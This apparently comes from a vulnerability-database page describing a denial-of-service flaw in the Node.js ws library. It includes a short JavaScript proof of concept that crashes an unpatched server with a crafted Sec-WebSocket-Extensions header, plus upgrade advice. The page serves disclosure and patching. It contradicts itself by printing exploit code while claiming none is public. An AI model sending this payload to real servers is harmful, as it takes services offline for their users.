GHSA-5v72-xg48-5rpm Denial of Service in ws

Not scored Published

A remote attacker can crash the application by sending a specially crafted WebSocket extension header, requiring an upgrade to the ws library.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-5v72-xg48-5rpm?

GHSA-5v72-xg48-5rpm is a denial of service vulnerability in ws, published on 4 Jun 2019. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Which versions are affected by GHSA-5v72-xg48-5rpm?

4 open source packages ship an affected version, including ws.

PackageAffectedFixed in
ws npmFrom 0.6.01.1.5
ws npmFrom 0.6.01.1.5
ws npmFrom 2.0.03.3.1
ws npmFrom 2.0.03.3.1

How do I fix GHSA-5v72-xg48-5rpm?

Upgrade ws to a fixed version for your release line: 1.1.5 or 3.3.1.

Upgrade, then put limits on request size, rate and nesting depth so one client cannot exhaust the service. More about Denial of service.

Is GHSA-5v72-xg48-5rpm being exploited?

There is no known exploitation of GHSA-5v72-xg48-5rpm in the wild and no public exploit code.

Sources

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